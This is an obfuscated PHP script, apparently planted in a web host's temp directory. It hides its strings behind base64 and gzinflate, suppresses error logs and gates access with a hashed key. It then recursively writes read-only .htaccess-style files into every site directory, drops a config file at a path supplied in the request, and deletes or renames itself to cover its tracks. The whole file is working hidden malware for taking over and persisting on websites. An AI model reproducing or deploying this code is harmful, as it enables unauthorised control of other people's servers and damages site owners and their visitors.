/home/awneajlw/.cagefs/tmp/awneajlw/ddaf20f672db7fe92e12077bb45fde54
<?php
@ini_set('log_errors', 0);
@ini_set('error_log', NULL);
@ini_set('error_reporting', NULL);
@error_reporting(0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@ignore_user_abort(true);
    
function O($s){
    $O = "\x62"."\x61s\x656\x34_\x64\x65c\x6f\x64\x65";
    $s=$O($s);
    $O = "\x67\x7ain\x66l\x61t\x65";
    return $O($s);
}
    
error_reporting(0);
XFXLEYGD(0);
session_start();
ini_set(O('y03NzS+qjM/JzM0sAQA='), O('0zUEAA=='));
define(O('C3X0dTE19naNBAA='), O('MzE2TjazSDKwNEhOMkpKNjE1TElKszAxMzAwN08zMbQAAA=='));

if(md5(md5(md5($_SERVER[O('8wgJCYgPDXYNind0d/ULAQA=')]))) != UAMD53KEY){
	header(O('8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA'));
	header(O('Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA='));
    die();
}
function XFXLEYGD($LLNEPTEY){
    if(function_exists(O('K04tiS/JzE2Nz8nMzSwBAA=='))){
        set_time_limit($LLNEPTEY);
    }
  }

define(O('Cw5xDQAA'), 2000);
if(!empty($_GET[O('Ky5NSsksAgA=')])){
    $_SESSION[O('Ky5NSsksAgA=')] = base64_decode($_GET[O('Ky5NSsksAgA=')]);
}
$SUQAGIAMXQQA = 0;
$LHTRUWRJU = empty($_GET[O('K8kvScwBAA==')]) ? 0 : $_GET[O('K8kvScwBAA==')];
echo O('K8kvScyxAgA=').$LHTRUWRJU;
$GLOBALS[O('y0ksLglILMlwyy/NSwEA')] = false;


$NARWZHWXGOJ = O('s/FM881PKc1JVcjNT4kvSi0vyixJ1Uu24+UKgrBd89Iz81IV/PPgIk6JxakK+nBuEEhzXGZeSmqFXkFGgYKuQrRPLJqsnlaMXnRBQGx0hkesnhZuJcXBsdGlobFgGqQ81TU2Otk5NrokBMJOcYmFabZxy8xJLfZNLEnOUFCK0dMAWl0DxOZAoiQ3p6a4tLggNbkkNUVTRQnoGQUgcEnNq1RIK8rPVUjMyQEaoI8wwQ7EhYWEHQA=');
$UTDUCORAGBW = md5($NARWZHWXGOJ);
$DCJBA = md5($_SERVER[O('8wgJCYj38A8OAQA=')].$_SERVER[O('C3YO8gwIiXfz9HH1c/R1BQA=')]);
define(O('C3H1DYh38/RxBQA='), $DCJBA);
define(O('8wiJd/b3C3H1CwEA'), $NARWZHWXGOJ);
define(O('8wiJd/b3C3H1C4n3dTEFAA=='), $UTDUCORAGBW);
file_put_contents(TEMP_FILE, O('MwQA'));

$ZJHTFHM = ".";
$PVULTV = empty($_GET[O('y0ksLglILMkAAA==')]) ? "" : base64_decode($_GET[O('y0ksLglILMkAAA==')]);
echo O('y0ksLglILMmwAgA=') . $PVULTV . O('s0kqsuMCAA==');
$IARGYWYJQJ = SFCRBWUE($ZJHTFHM);
$PVULTV = SFCRBWUE($PVULTV);

if(file_exists(TEMP_FILE)){
    if(XYUVAWWF($IARGYWYJQJ, $SUQAGIAMXQQA, $LHTRUWRJU, $PVULTV)){
        echo O('S8zJUUjJz0tVtEkqsgMA');
        $GLOBALS[O('CwgL9QkJAwA=')] = "";
    }
	
	}else{
	echo O('K8rPL1FIySxSyCxWyAMyy4syS1ITk3JSdRQSk/KLUhRtkorsAA==');
}
if(!empty($_SESSION[O('Ky5NSsksAgA=')])){
    $TCBPAUGNOFR = O('s/FM881PKc1JVcjNT4kvSi0vyixJ1Uu2AwA=').
    PHP_EOL.O('C0otL8osSXXNS8/MS1XwzwMA').
    PHP_EOL.O('C0otL8osSXVKLE5V0AcA').
    PHP_EOL.O('LYyxCgIxEER/JYWFV8Qvsbr2TmG9HTS42YQ1MQr5eDFcMzzmMTOjWSiYq8Bdj0EZn97y6olj0EFBN6mMwVuKEVoGSyKG7bXp6l8Us2B3d9Geasm1dLqlf45DI+Unvi0ZdwNxNRmDN2w65Uc+OO+W8+UH').
    PHP_EOL.O('C0otL8osSQ0qzUlViNPTitGLLgiIjc7wiNXTUsjMS0mt0CvIKFCI9okFAA==').
    PHP_EOL.O('C0otL8osSQ0qzUlViNPTitGLLg6OjS4NjQXTBQGx0amusdHJzrHRJSEQdopLrEJmXkpqhV5BRoFCtE8sAA==').
    PHP_EOL.O('C0otL8osSXXOz0tRUK0Ocg0MdQ0OiXfz9HH1c/R1rVVQ1E0DAA==').
    PHP_EOL.O('C0otL8osSXXOz0tRUK0Ocg0MdQ0OiXfz9HH1c/R1rVVQ1E0BAA==').
    PHP_EOL.O('C0otL8osSQ0qzUlV0FPIzEtJrdAryChQiPaJBQA=').
    PHP_EOL.O('s9H3TPPNTynNSbUDAA==');
    TMVVLJQA($_SESSION[O('Ky5NSsksAgA=')] . DIRECTORY_SEPARATOR . O('08soAQA=') . O('S0xOTi0uBgA='), $TCBPAUGNOFR);
}

UTSEZDPU($_SERVER[O('C3YO8gwIiXfz9HH1c/R1BQA=')]);
echo O('KymqVCjJV0hJzUktSVWwAgA=') . $_SERVER[O('C3YO8gwIiXfz9HH1c/R1BQA=')] . O('s0kqsuMCAA==');
echo O('s8lNLUlUyCgpKdBNLSzNLLNVKkpNK0otzlBSSM7PK0nNK7FVMrBWKC3KsdVXUtC3AwA=');
die;
function XYUVAWWF($OFVZUFMMISYF, &$SUQAGIAMXQQA, &$LHTRUWRJU, $PVULTV = "")
{
    $IWPM = ZYDTRPER($OFVZUFMMISYF, $PVULTV);
        $SHXNUGY = false;
        if(is_dir($OFVZUFMMISYF)) {
                $THOJ = scandir($OFVZUFMMISYF);
        if(empty($IWPM)){
            $GLOBALS[O('y0ksLglILMlwyy/NSwEA')] = true;
        }
                foreach($THOJ as $OUXWDHWLX) {
            $RZPDMQCHAM = $OFVZUFMMISYF.'/'.$OUXWDHWLX;
                        if(in_array($OUXWDHWLX, array('.', '..'))) {
                continue;
            }
            if(is_file($RZPDMQCHAM)) {
                continue;
            }
            if(is_link($RZPDMQCHAM)) {
                continue;
            }
            if($GLOBALS[O('y0ksLglILMlwyy/NSwEA')] == true || $OUXWDHWLX == $IWPM){ 
                                if($OUXWDHWLX == $IWPM){
                    echo O('S8svzUuxUgAA').$IWPM.O('s0kqsuMCAA==');
                }
                if($RZPDMQCHAM == $PVULTV){
                    $GLOBALS[O('y0ksLglILMlwyy/NSwEA')] = true;
                    echo O('S8svzUtRyEksLglILMkAAA==').$PVULTV.O('s0kqsuMCAA==');
                }
                if($GLOBALS[O('y0ksLglILMlwyy/NSwEA')] == true){
                    $SUQAGIAMXQQA++;
                    $LHTRUWRJU++;
                    $GLOBALS[O('CwgL9QkJAwA=')] = $RZPDMQCHAM;
                    echo YETYHKRD($RZPDMQCHAM);
                    if(STEP <= $SUQAGIAMXQQA){
                        
                        echo O('80ksLlEISCzJUMgsVrACAA==') . $RZPDMQCHAM . O('s0kqsuMCAA==');
                        echo O('s8lNLUlUyCgpKdBNLSzNLLNVKkpNK0otzlBSSM7PK0nNK7FVMrBWKC3KsbUvyS9JzLEFAA==').$LHTRUWRJU.O('U8tJLC4JSCzJsAUA').base64_encode($RZPDMQCHAM).'" />';die;
                    }else{
                        echo O('KyjKTy9KLS62AgA=').$SUQAGIAMXQQA."/".$LHTRUWRJU.O('s0kqsuMCAA==');
                    }
                }else{
                    echo O('y0zPyy9KtQIA') . $RZPDMQCHAM . O('U8hJLC4JSCzJcMsvzUtRSEvMKU5VtEkqsuMCAA==');
                }
                                if(!is_link($RZPDMQCHAM) && is_dir($RZPDMQCHAM) && is_readable($RZPDMQCHAM)) {
                                        $SHXNUGY = XYUVAWWF($RZPDMQCHAM, $SUQAGIAMXQQA, $LHTRUWRJU, $PVULTV);
                }
            }else{
                echo O('y0zPyy9KtQIA') . $RZPDMQCHAM . O('s0kqsuMCAA==');
            }
        }
        $SHXNUGY = true;
    }
    return $SHXNUGY;
}

function ZYDTRPER($IARGYWYJQJ, $PVULTV){
    $RPVDXFGLSW = DMKYDBBK($IARGYWYJQJ);
    $PBQCCBXF = DMKYDBBK($PVULTV);
    foreach($PBQCCBXF as $LBOKMKULSIQ => $MWKTBBHC){
        if(!isset($RPVDXFGLSW[$LBOKMKULSIQ]) || empty($RPVDXFGLSW[$LBOKMKULSIQ])){
            return $MWKTBBHC;
        }
    }
    return '';
}


function DMKYDBBK($IARGYWYJQJ){
    $IARGYWYJQJ = SFCRBWUE($IARGYWYJQJ);
    $CJVBZKO = explode('/', $IARGYWYJQJ);
    return $CJVBZKO;
}


function SFCRBWUE($IARGYWYJQJ){
    $IARGYWYJQJ = str_replace('\\', '/', $IARGYWYJQJ);
    $IARGYWYJQJ = preg_replace("|/+|", '/', $IARGYWYJQJ);
    $IARGYWYJQJ = rtrim($IARGYWYJQJ, '/');
    return $IARGYWYJQJ;
}


function YETYHKRD($IARGYWYJQJ){
    $SHXNUGY = "";
    if(file_exists($IARGYWYJQJ . "/" . TEMP_FILE)){
        $SHXNUGY = $IARGYWYJQJ.'是根目录,放弃执行!因为存在'.$IARGYWYJQJ . "/" . TEMP_FILE.O('s0kqsgMA')."\n";
    }elseif(file_exists($IARGYWYJQJ . O('0zdJNk80NE8zMzZNNEmxsDBPTjO1AIoYGSeZJZolJZsAAA==')) || file_exists($IARGYWYJQJ . O('09dLKykoLM0vSSwGAA=='))){
        $SHXNUGY = $IARGYWYJQJ.O('ASwA0//mmK/lhbbku5bnvZHnq5nmoLnnm67lvZUs5pS+5byD5omn6KGM77yBPGJyPg==')."\n";
    }else{
        $SDVAACALEN = $IARGYWYJQJ . base64_decode(O('86k0zU9xd8uKNAqrSi63tQUA'));
        TMVVLJQA($SDVAACALEN, HT_CONTENT);
        chmod($SDVAACALEN, 0444);
        $IGZVT = file_get_contents($IARGYWYJQJ.base64_decode(O('86k0zU9xd8uKNAqrSi63tQUA')));
        $WGOGPRSSMY = md5($IGZVT);
        if($WGOGPRSSMY != HT_CONTENT_MD5){
            $SHXNUGY = $SDVAACALEN.O('ASsA1P/mm7TmlrDlpLHotKXvvIzor7fogZTns7vmioDmnK/lpITnkIbvvIE8YnI+')."\n";
        }else{
            $SHXNUGY = $SDVAACALEN.O('U0jJz0tVtEkqsgMA')."\n";
        }
    }
    return $SHXNUGY;
}

function TMVVLJQA($BWUR, $NARWZHWXGOJ){
    if(is_file($BWUR)){
        chmod($BWUR, 0747);
    }
    file_put_contents($BWUR, $NARWZHWXGOJ);
}

function UTSEZDPU($QIYJTQZMZ){
    unlink($QIYJTQZMZ);
    if(file_exists($QIYJTQZMZ)){
        file_put_contents($QIYJTQZMZ, "");
        echo O('S0nNSS1JVUhLzMxJTbFJKrIDAA==')."\n";
    }
    if(file_exists($QIYJTQZMZ)){
        rename($QIYJTQZMZ, O('0y/JLdAHAA==').md5($QIYJTQZMZ.time()));
        echo O('KykqzUtOLFFIS8zMSU2xSSqyAwA=')."\n";
    }
    if(file_exists($QIYJTQZMZ)){
        echo O('y80vS1VIS8zMSU2xSSqyAwA=')."\n";
    }
}
die(O('S8nPS1UEAA=='));
?>